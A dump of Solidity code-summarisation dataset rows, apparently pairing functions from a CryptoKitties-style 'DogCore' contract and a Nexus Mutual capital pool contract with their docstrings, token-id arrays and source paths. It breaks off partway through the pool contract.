// facet of functionality of CK. This allows us to keep related code bundled together while still
// avoiding a single giant file with everything in it. The breakdown is as follows:
//
// - KittyBase: This is where we define the most fundamental code shared throughout the core
// functionality. This includes our main data storage, constants and data types, plus
// internal functions for managing these items.
//
// - KittyAccessControl: This contract manages the various addresses and constraints for operations
// that can be executed only by specific roles. Namely CEO, CFO and COO.
//
// - KittyOwnership: This provides the methods required for basic non-fungible token
// transactions, following the draft ERC-721 spec (https://github.com/ethereum/EIPs/issues/721).
//
// - KittyBreeding: This file contains the methods necessary to breed cats together, including
// keeping track of siring offers, and relies on an external genetic combination contract.
//
// - KittyAuctions: Here we have the public methods for auctioning or bidding on cats or siring
// services. The actual auction functionality is handled in two sibling contracts (one
// for sales and one for siring), while auction creation and bidding is mostly mediated
// through this facet of the core contract.
//
// - KittyMinting: This final facet contains the functionality we use for creating new gen0 cats.
// We can make up to 5000 "promo" cats that can be given away (especially important when
// the community is new), and all others can only be created and then immediately put up
// for auction via an algorithmically determined starting price. Regardless of how they
// are created, there is a hard limit of 50k gen0 cats. After that, it's all up to the
// community to breed, breed, breed!
// Set in case the core contract is broken and an upgrade is required
address public newContractAddress;
/// @notice Creates the main Cryptodogs smart contract instance.
function DogCore() public {
// Starts paused.
paused = true;
// the creator of the contract is the initial CEO
ceoAddress = msg.sender;
// the creator of the contract is also the initial COO
cooAddress = msg.sender;
// start with the mythical kitten 0 - so we don't have generation-0 parent issues
//zhangyong
//增加变异系数与0代狗祖先作为参数
_createDog(0, 0, 0, uint256(0), address(this), 0, 0, false);
_approve(0, cooAddress);
_createDog(0, 0, 0, uint256(0), address(this), 0, 0, false);
_approve(1, cooAddress);
}
/// @dev Used to mark the smart contract as upgraded, in case there is a serious
/// breaking bug. This method does nothing but keep track of the new contract and
/// emit a message indicating that the new address is set. It's up to clients of this
/// contract to update to the new contract address in that case. (This contract will
/// be paused indefinitely if such an upgrade takes place.)
/// @param _v2Address new address
function setNewAddress(address _v2Address) external onlyCEO whenPaused {
// See README.md for updgrade plan
newContractAddress = _v2Address;
ContractUpgrade(_v2Address);
}
/// @notice No tipping!
/// @dev Reject all Ether from being sent here, unless it's from one of the
/// two auction contracts. (Hopefully, we can prevent user accidents.)
function() external payable {
require(
msg.sender == address(saleAuction) ||
msg.sender == address(siringAuction) ||
msg.sender == ceoAddress
);
}
/// @notice Returns all the relevant information about a specific Dog.
/// @param _id The ID of the Dog of interest.
function getDog(uint256 _id)
external
view
returns (
uint256 cooldownIndex,
uint256 nextActionAt,
uint256 siringWithId,
uint256 birthTime,
uint256 matronId,
uint256 sireId,
uint256 generation,
uint256 genes,
uint8 variation,
uint256 gen0
) {
Dog storage dog = dogs[_id];
// if this variable is 0 then it's not gestating
cooldownIndex = uint256(dog.cooldownIndex);
nextActionAt = uint256(dog.cooldownEndBlock);
siringWithId = uint256(dog.siringWithId);
birthTime = uint256(dog.birthTime);
matronId = uint256(dog.matronId);
sireId = uint256(dog.sireId);
generation = uint256(dog.generation);
genes = uint256(dog.genes);
variation = uint8(dog.variation);
gen0 = uint256(dog.gen0);
}
/// @dev Override unpause so it requires all external contract addresses
/// to be set before contract can be unpaused. Also, we can't have
/// newContractAddress set either, because then the contract was upgraded.
/// @notice This is public rather than external so we can call super.unpause
/// without using an expensive CALL.
function unpause() public onlyCEO whenPaused {
require(saleAuction != address(0));
require(siringAuction != address(0));
require(geneScience != address(0));
require(lottery != address(0));
require(variation != address(0));
require(newContractAddress == address(0));
// Actually unpause the contract.
super.unpause();
}
function setLotteryAddress(address _address) external onlyCEO {
LotteryInterface candidateContract = LotteryInterface(_address);
require(candidateContract.isLottery());
lottery = candidateContract;
}
function setVariationAddress(address _address) external onlyCEO {
VariationInterface candidateContract = VariationInterface(_address);
require(candidateContract.isVariation());
variation = candidateContract;
}
function registerLottery(uint256 _dogId) external returns (uint8) {
require(_owns(msg.sender, _dogId));
require(lottery.registerLottery(_dogId) == 0);
_transfer(msg.sender, address(lottery), _dogId);
}
function sendMoney(address _to, uint256 _money) external {
require(msg.sender == address(lottery) || msg.sender == address(variation));
require(address(this).balance >= _money);
_to.transfer(_money);
}
}
|
@dev Override unpause so it requires all external contract addresses to be set before contract can be unpaused. Also, we can't have newContractAddress set either, because then the contract was upgraded. @notice This is public rather than external so we can call super.unpause without using an expensive CALL. Actually unpause the contract.
|
function unpause() public onlyCEO whenPaused {
require(saleAuction != address(0));
require(siringAuction != address(0));
require(geneScience != address(0));
require(lottery != address(0));
require(variation != address(0));
require(newContractAddress == address(0));
super.unpause();
}
| 2,460,452 |
[
1,
6618,
640,
19476,
1427,
518,
4991,
777,
3903,
6835,
6138,
225,
358,
506,
444,
1865,
6835,
848,
506,
640,
8774,
3668,
18,
8080,
16,
732,
848,
10,
5520,
31,
88,
1240,
225,
394,
8924,
1887,
444,
3344,
16,
2724,
1508,
326,
6835,
1703,
31049,
18,
225,
1220,
353,
1071,
9178,
2353,
3903,
1427,
732,
848,
745,
2240,
18,
318,
19476,
225,
2887,
1450,
392,
19326,
22753,
18,
4603,
3452,
640,
19476,
326,
6835,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
640,
19476,
1435,
1071,
1338,
1441,
51,
1347,
28590,
288,
203,
3639,
2583,
12,
87,
5349,
37,
4062,
480,
1758,
12,
20,
10019,
203,
3639,
2583,
12,
87,
11256,
37,
4062,
480,
1758,
12,
20,
10019,
203,
3639,
2583,
12,
11857,
1541,
6254,
480,
1758,
12,
20,
10019,
203,
3639,
2583,
12,
23372,
387,
93,
480,
1758,
12,
20,
10019,
203,
3639,
2583,
12,
28815,
480,
1758,
12,
20,
10019,
203,
3639,
2583,
12,
2704,
8924,
1887,
422,
1758,
12,
20,
10019,
203,
203,
3639,
2240,
18,
318,
19476,
5621,
203,
565,
289,
203,
4202,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0xc75f89C55fd71B07A54976575C774EA6Fa283d7A/sources/@mimic-fi/v2-smart-vault/contracts/ISmartVault.sol
|
* @dev Emitted every time `wrap` is called/
|
event Wrap(uint256 amount, uint256 wrapped, bytes data);
| 17,144,040 |
[
1,
1514,
11541,
3614,
813,
1375,
4113,
68,
353,
2566,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
871,
4266,
12,
11890,
5034,
3844,
16,
2254,
5034,
5805,
16,
1731,
501,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../../abstract/MasterAware.sol";
import "../../interfaces/IPool.sol";
import "../cover/Quotation.sol";
import "../oracles/PriceFeedOracle.sol";
import "../token/NXMToken.sol";
import "../token/TokenController.sol";
import "./MCR.sol";
contract Pool is IPool, MasterAware, ReentrancyGuard {
using Address for address;
using SafeMath for uint;
using SafeERC20 for IERC20;
struct AssetData {
uint112 minAmount;
uint112 maxAmount;
uint32 lastSwapTime;
// 18 decimals of precision. 0.01% -> 0.0001 -> 1e14
uint maxSlippageRatio;
}
/* storage */
address[] public assets;
mapping(address => AssetData) public assetData;
// contracts
Quotation public quotation;
NXMToken public nxmToken;
TokenController public tokenController;
MCR public mcr;
// parameters
address public swapController;
uint public minPoolEth;
PriceFeedOracle public priceFeedOracle;
address public swapOperator;
/* constants */
address constant public ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint public constant MCR_RATIO_DECIMALS = 4;
uint public constant MAX_MCR_RATIO = 40000; // 400%
uint public constant MAX_BUY_SELL_MCR_ETH_FRACTION = 500; // 5%. 4 decimal points
uint internal constant CONSTANT_C = 5800000;
uint internal constant CONSTANT_A = 1028 * 1e13;
uint internal constant TOKEN_EXPONENT = 4;
/* events */
event Payout(address indexed to, address indexed asset, uint amount);
event NXMSold (address indexed member, uint nxmIn, uint ethOut);
event NXMBought (address indexed member, uint ethIn, uint nxmOut);
event Swapped(address indexed fromAsset, address indexed toAsset, uint amountIn, uint amountOut);
/* logic */
modifier onlySwapOperator {
require(msg.sender == swapOperator, "Pool: not swapOperator");
_;
}
constructor (
address[] memory _assets,
uint112[] memory _minAmounts,
uint112[] memory _maxAmounts,
uint[] memory _maxSlippageRatios,
address _master,
address _priceOracle,
address _swapOperator
) public {
require(_assets.length == _minAmounts.length, "Pool: length mismatch");
require(_assets.length == _maxAmounts.length, "Pool: length mismatch");
require(_assets.length == _maxSlippageRatios.length, "Pool: length mismatch");
for (uint i = 0; i < _assets.length; i++) {
address asset = _assets[i];
require(asset != address(0), "Pool: asset is zero address");
require(_maxAmounts[i] >= _minAmounts[i], "Pool: max < min");
require(_maxSlippageRatios[i] <= 1 ether, "Pool: max < min");
assets.push(asset);
assetData[asset].minAmount = _minAmounts[i];
assetData[asset].maxAmount = _maxAmounts[i];
assetData[asset].maxSlippageRatio = _maxSlippageRatios[i];
}
master = INXMMaster(_master);
priceFeedOracle = PriceFeedOracle(_priceOracle);
swapOperator = _swapOperator;
}
// fallback function
function() external payable {}
// for legacy Pool1 upgrade compatibility
function sendEther() external payable {}
/**
* @dev Calculates total value of all pool assets in ether
*/
function getPoolValueInEth() public view returns (uint) {
uint total = address(this).balance;
for (uint i = 0; i < assets.length; i++) {
address assetAddress = assets[i];
IERC20 token = IERC20(assetAddress);
uint rate = priceFeedOracle.getAssetToEthRate(assetAddress);
require(rate > 0, "Pool: zero rate");
uint assetBalance = token.balanceOf(address(this));
uint assetValue = assetBalance.mul(rate).div(1e18);
total = total.add(assetValue);
}
return total;
}
/* asset related functions */
function getAssets() external view returns (address[] memory) {
return assets;
}
function getAssetDetails(address _asset) external view returns (
uint112 min,
uint112 max,
uint32 lastAssetSwapTime,
uint maxSlippageRatio
) {
AssetData memory data = assetData[_asset];
return (data.minAmount, data.maxAmount, data.lastSwapTime, data.maxSlippageRatio);
}
function addAsset(
address _asset,
uint112 _min,
uint112 _max,
uint _maxSlippageRatio
) external onlyGovernance {
require(_asset != address(0), "Pool: asset is zero address");
require(_max >= _min, "Pool: max < min");
require(_maxSlippageRatio <= 1 ether, "Pool: max slippage ratio > 1");
for (uint i = 0; i < assets.length; i++) {
require(_asset != assets[i], "Pool: asset exists");
}
assets.push(_asset);
assetData[_asset] = AssetData(_min, _max, 0, _maxSlippageRatio);
}
function removeAsset(address _asset) external onlyGovernance {
for (uint i = 0; i < assets.length; i++) {
if (_asset != assets[i]) {
continue;
}
delete assetData[_asset];
assets[i] = assets[assets.length - 1];
assets.pop();
return;
}
revert("Pool: asset not found");
}
function setAssetDetails(
address _asset,
uint112 _min,
uint112 _max,
uint _maxSlippageRatio
) external onlyGovernance {
require(_min <= _max, "Pool: min > max");
require(_maxSlippageRatio <= 1 ether, "Pool: max slippage ratio > 1");
for (uint i = 0; i < assets.length; i++) {
if (_asset != assets[i]) {
continue;
}
assetData[_asset].minAmount = _min;
assetData[_asset].maxAmount = _max;
assetData[_asset].maxSlippageRatio = _maxSlippageRatio;
return;
}
revert("Pool: asset not found");
}
/* claim related functions */
/**
* @dev Execute the payout in case a claim is accepted
* @param asset token address or 0xEee...EEeE for ether
* @param payoutAddress send funds to this address
* @param amount amount to send
*/
function sendClaimPayout (
address asset,
address payable payoutAddress,
uint amount
) external onlyInternal nonReentrant returns (bool success) {
bool ok;
if (asset == ETH) {
// solhint-disable-next-line avoid-low-level-calls
(ok, /* data */) = payoutAddress.call.value(amount)("");
} else {
ok = _safeTokenTransfer(asset, payoutAddress, amount);
}
if (ok) {
emit Payout(payoutAddress, asset, amount);
}
return ok;
}
/**
* @dev safeTransfer implementation that does not revert
* @param tokenAddress ERC20 address
* @param to destination
* @param value amount to send
* @return success true if the transfer was successfull
*/
function _safeTokenTransfer (
address tokenAddress,
address to,
uint256 value
) internal returns (bool) {
// token address is not a contract
if (!tokenAddress.isContract()) {
return false;
}
IERC20 token = IERC20(tokenAddress);
bytes memory data = abi.encodeWithSelector(token.transfer.selector, to, value);
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = tokenAddress.call(data);
// low-level call failed/reverted
if (!success) {
return false;
}
// tokens that don't have return data
if (returndata.length == 0) {
return true;
}
// tokens that have return data will return a bool
return abi.decode(returndata, (bool));
}
/* pool lifecycle functions */
function transferAsset(
address asset,
address payable destination,
uint amount
) external onlyGovernance nonReentrant {
require(assetData[asset].maxAmount == 0, "Pool: max not zero");
require(destination != address(0), "Pool: dest zero");
IERC20 token = IERC20(asset);
uint balance = token.balanceOf(address(this));
uint transferableAmount = amount > balance ? balance : amount;
token.safeTransfer(destination, transferableAmount);
}
function upgradeCapitalPool(address payable newPoolAddress) external onlyMaster nonReentrant {
// transfer ether
uint ethBalance = address(this).balance;
(bool ok, /* data */) = newPoolAddress.call.value(ethBalance)("");
require(ok, "Pool: transfer failed");
// transfer assets
for (uint i = 0; i < assets.length; i++) {
IERC20 token = IERC20(assets[i]);
uint tokenBalance = token.balanceOf(address(this));
token.safeTransfer(newPoolAddress, tokenBalance);
}
}
/**
* @dev Update dependent contract address
* @dev Implements MasterAware interface function
*/
function changeDependentContractAddress() public {
nxmToken = NXMToken(master.tokenAddress());
tokenController = TokenController(master.getLatestAddress("TC"));
quotation = Quotation(master.getLatestAddress("QT"));
mcr = MCR(master.getLatestAddress("MC"));
}
/* cover purchase functions */
/// @dev Enables user to purchase cover with funding in ETH.
/// @param smartCAdd Smart Contract Address
function makeCoverBegin(
address smartCAdd,
bytes4 coverCurr,
uint[] memory coverDetails,
uint16 coverPeriod,
uint8 _v,
bytes32 _r,
bytes32 _s
) public payable onlyMember whenNotPaused {
require(coverCurr == "ETH", "Pool: Unexpected asset type");
require(msg.value == coverDetails[1], "Pool: ETH amount does not match premium");
quotation.verifyCoverDetails(msg.sender, smartCAdd, coverCurr, coverDetails, coverPeriod, _v, _r, _s);
}
/**
* @dev Enables user to purchase cover via currency asset eg DAI
*/
function makeCoverUsingCA(
address smartCAdd,
bytes4 coverCurr,
uint[] memory coverDetails,
uint16 coverPeriod,
uint8 _v,
bytes32 _r,
bytes32 _s
) public onlyMember whenNotPaused {
require(coverCurr != "ETH", "Pool: Unexpected asset type");
quotation.verifyCoverDetails(msg.sender, smartCAdd, coverCurr, coverDetails, coverPeriod, _v, _r, _s);
}
function transferAssetFrom (address asset, address from, uint amount) public onlyInternal whenNotPaused {
IERC20 token = IERC20(asset);
token.safeTransferFrom(from, address(this), amount);
}
function transferAssetToSwapOperator (address asset, uint amount) public onlySwapOperator nonReentrant whenNotPaused {
if (asset == ETH) {
(bool ok, /* data */) = swapOperator.call.value(amount)("");
require(ok, "Pool: Eth transfer failed");
return;
}
IERC20 token = IERC20(asset);
token.safeTransfer(swapOperator, amount);
}
function setAssetDataLastSwapTime(address asset, uint32 lastSwapTime) public onlySwapOperator whenNotPaused {
assetData[asset].lastSwapTime = lastSwapTime;
}
/* token sale functions */
/**
* @dev (DEPRECATED, use sellTokens function instead) Allows selling of NXM for ether.
* Seller first needs to give this contract allowance to
* transfer/burn tokens in the NXMToken contract
* @param _amount Amount of NXM to sell
* @return success returns true on successfull sale
*/
function sellNXMTokens(uint _amount) public onlyMember whenNotPaused returns (bool success) {
sellNXM(_amount, 0);
return true;
}
/**
* @dev (DEPRECATED, use calculateNXMForEth function instead) Returns the amount of wei a seller will get for selling NXM
* @param amount Amount of NXM to sell
* @return weiToPay Amount of wei the seller will get
*/
function getWei(uint amount) external view returns (uint weiToPay) {
return getEthForNXM(amount);
}
/**
* @dev Buys NXM tokens with ETH.
* @param minTokensOut Minimum amount of tokens to be bought. Revert if boughtTokens falls below this number.
* @return boughtTokens number of bought tokens.
*/
function buyNXM(uint minTokensOut) public payable onlyMember whenNotPaused {
uint ethIn = msg.value;
require(ethIn > 0, "Pool: ethIn > 0");
uint totalAssetValue = getPoolValueInEth().sub(ethIn);
uint mcrEth = mcr.getMCR();
uint mcrRatio = calculateMCRRatio(totalAssetValue, mcrEth);
require(mcrRatio <= MAX_MCR_RATIO, "Pool: Cannot purchase if MCR% > 400%");
uint tokensOut = calculateNXMForEth(ethIn, totalAssetValue, mcrEth);
require(tokensOut >= minTokensOut, "Pool: tokensOut is less than minTokensOut");
tokenController.mint(msg.sender, tokensOut);
// evaluate the new MCR for the current asset value including the ETH paid in
mcr.updateMCRInternal(totalAssetValue.add(ethIn), false);
emit NXMBought(msg.sender, ethIn, tokensOut);
}
/**
* @dev Sell NXM tokens and receive ETH.
* @param tokenAmount Amount of tokens to sell.
* @param minEthOut Minimum amount of ETH to be received. Revert if ethOut falls below this number.
* @return ethOut amount of ETH received in exchange for the tokens.
*/
function sellNXM(uint tokenAmount, uint minEthOut) public onlyMember nonReentrant whenNotPaused {
require(nxmToken.balanceOf(msg.sender) >= tokenAmount, "Pool: Not enough balance");
require(nxmToken.isLockedForMV(msg.sender) <= now, "Pool: NXM tokens are locked for voting");
uint currentTotalAssetValue = getPoolValueInEth();
uint mcrEth = mcr.getMCR();
uint ethOut = calculateEthForNXM(tokenAmount, currentTotalAssetValue, mcrEth);
require(currentTotalAssetValue.sub(ethOut) >= mcrEth, "Pool: MCR% cannot fall below 100%");
require(ethOut >= minEthOut, "Pool: ethOut < minEthOut");
tokenController.burnFrom(msg.sender, tokenAmount);
(bool ok, /* data */) = msg.sender.call.value(ethOut)("");
require(ok, "Pool: Sell transfer failed");
// evaluate the new MCR for the current asset value excluding the paid out ETH
mcr.updateMCRInternal(currentTotalAssetValue.sub(ethOut), false);
emit NXMSold(msg.sender, tokenAmount, ethOut);
}
/**
* @dev Get value in tokens for an ethAmount purchase.
* @param ethAmount amount of ETH used for buying.
* @return tokenValue tokens obtained by buying worth of ethAmount
*/
function getNXMForEth(
uint ethAmount
) public view returns (uint) {
uint totalAssetValue = getPoolValueInEth();
uint mcrEth = mcr.getMCR();
return calculateNXMForEth(ethAmount, totalAssetValue, mcrEth);
}
function calculateNXMForEth(
uint ethAmount,
uint currentTotalAssetValue,
uint mcrEth
) public pure returns (uint) {
require(
ethAmount <= mcrEth.mul(MAX_BUY_SELL_MCR_ETH_FRACTION).div(10 ** MCR_RATIO_DECIMALS),
"Pool: Purchases worth higher than 5% of MCReth are not allowed"
);
/*
The price formula is:
P(V) = A + MCReth / C * MCR% ^ 4
where MCR% = V / MCReth
P(V) = A + 1 / (C * MCReth ^ 3) * V ^ 4
To compute the number of tokens issued we can integrate with respect to V the following:
ΔT = ΔV / P(V)
which assumes that for an infinitesimally small change in locked value V price is constant and we
get an infinitesimally change in token supply ΔT.
This is not computable on-chain, below we use an approximation that works well assuming
* MCR% stays within [100%, 400%]
* ethAmount <= 5% * MCReth
Use a simplified formula excluding the constant A price offset to compute the amount of tokens to be minted.
AdjustedP(V) = 1 / (C * MCReth ^ 3) * V ^ 4
AdjustedP(V) = 1 / (C * MCReth ^ 3) * V ^ 4
For a very small variation in tokens ΔT, we have, ΔT = ΔV / P(V), to get total T we integrate with respect to V.
adjustedTokenAmount = ∫ (dV / AdjustedP(V)) from V0 (currentTotalAssetValue) to V1 (nextTotalAssetValue)
adjustedTokenAmount = ∫ ((C * MCReth ^ 3) / V ^ 4 * dV) from V0 to V1
Evaluating the above using the antiderivative of the function we get:
adjustedTokenAmount = - MCReth ^ 3 * C / (3 * V1 ^3) + MCReth * C /(3 * V0 ^ 3)
*/
if (currentTotalAssetValue == 0 || mcrEth.div(currentTotalAssetValue) > 1e12) {
/*
If the currentTotalAssetValue = 0, adjustedTokenPrice approaches 0. Therefore we can assume the price is A.
If currentTotalAssetValue is far smaller than mcrEth, MCR% approaches 0, let the price be A (baseline price).
This avoids overflow in the calculateIntegralAtPoint computation.
This approximation is safe from arbitrage since at MCR% < 100% no sells are possible.
*/
uint tokenPrice = CONSTANT_A;
return ethAmount.mul(1e18).div(tokenPrice);
}
// MCReth * C /(3 * V0 ^ 3)
uint point0 = calculateIntegralAtPoint(currentTotalAssetValue, mcrEth);
// MCReth * C / (3 * V1 ^3)
uint nextTotalAssetValue = currentTotalAssetValue.add(ethAmount);
uint point1 = calculateIntegralAtPoint(nextTotalAssetValue, mcrEth);
uint adjustedTokenAmount = point0.sub(point1);
/*
Compute a preliminary adjustedTokenPrice for the minted tokens based on the adjustedTokenAmount above,
and to that add the A constant (the price offset previously removed in the adjusted Price formula)
to obtain the finalPrice and ultimately the tokenValue based on the finalPrice.
adjustedPrice = ethAmount / adjustedTokenAmount
finalPrice = adjustedPrice + A
tokenValue = ethAmount / finalPrice
*/
// ethAmount is multiplied by 1e18 to cancel out the multiplication factor of 1e18 of the adjustedTokenAmount
uint adjustedTokenPrice = ethAmount.mul(1e18).div(adjustedTokenAmount);
uint tokenPrice = adjustedTokenPrice.add(CONSTANT_A);
return ethAmount.mul(1e18).div(tokenPrice);
}
/**
* @dev integral(V) = MCReth ^ 3 * C / (3 * V ^ 3) * 1e18
* computation result is multiplied by 1e18 to allow for a precision of 18 decimals.
* NOTE: omits the minus sign of the correct integral to use a uint result type for simplicity
* WARNING: this low-level function should be called from a contract which checks that
* mcrEth / assetValue < 1e17 (no overflow) and assetValue != 0
*/
function calculateIntegralAtPoint(
uint assetValue,
uint mcrEth
) internal pure returns (uint) {
return CONSTANT_C
.mul(1e18)
.div(3)
.mul(mcrEth).div(assetValue)
.mul(mcrEth).div(assetValue)
.mul(mcrEth).div(assetValue);
}
function getEthForNXM(uint nxmAmount) public view returns (uint ethAmount) {
uint currentTotalAssetValue = getPoolValueInEth();
uint mcrEth = mcr.getMCR();
return calculateEthForNXM(nxmAmount, currentTotalAssetValue, mcrEth);
}
/**
* @dev Computes token sell value for a tokenAmount in ETH with a sell spread of 2.5%.
* for values in ETH of the sale <= 1% * MCReth the sell spread is very close to the exact value of 2.5%.
* for values higher than that sell spread may exceed 2.5%
* (The higher amount being sold at any given time the higher the spread)
*/
function calculateEthForNXM(
uint nxmAmount,
uint currentTotalAssetValue,
uint mcrEth
) public pure returns (uint) {
// Step 1. Calculate spot price at current values and amount of ETH if tokens are sold at that price
uint spotPrice0 = calculateTokenSpotPrice(currentTotalAssetValue, mcrEth);
uint spotEthAmount = nxmAmount.mul(spotPrice0).div(1e18);
// Step 2. Calculate spot price using V = currentTotalAssetValue - spotEthAmount from step 1
uint totalValuePostSpotPriceSell = currentTotalAssetValue.sub(spotEthAmount);
uint spotPrice1 = calculateTokenSpotPrice(totalValuePostSpotPriceSell, mcrEth);
// Step 3. Min [average[Price(0), Price(1)] x ( 1 - Sell Spread), Price(1) ]
// Sell Spread = 2.5%
uint averagePriceWithSpread = spotPrice0.add(spotPrice1).div(2).mul(975).div(1000);
uint finalPrice = averagePriceWithSpread < spotPrice1 ? averagePriceWithSpread : spotPrice1;
uint ethAmount = finalPrice.mul(nxmAmount).div(1e18);
require(
ethAmount <= mcrEth.mul(MAX_BUY_SELL_MCR_ETH_FRACTION).div(10 ** MCR_RATIO_DECIMALS),
"Pool: Sales worth more than 5% of MCReth are not allowed"
);
return ethAmount;
}
function calculateMCRRatio(uint totalAssetValue, uint mcrEth) public pure returns (uint) {
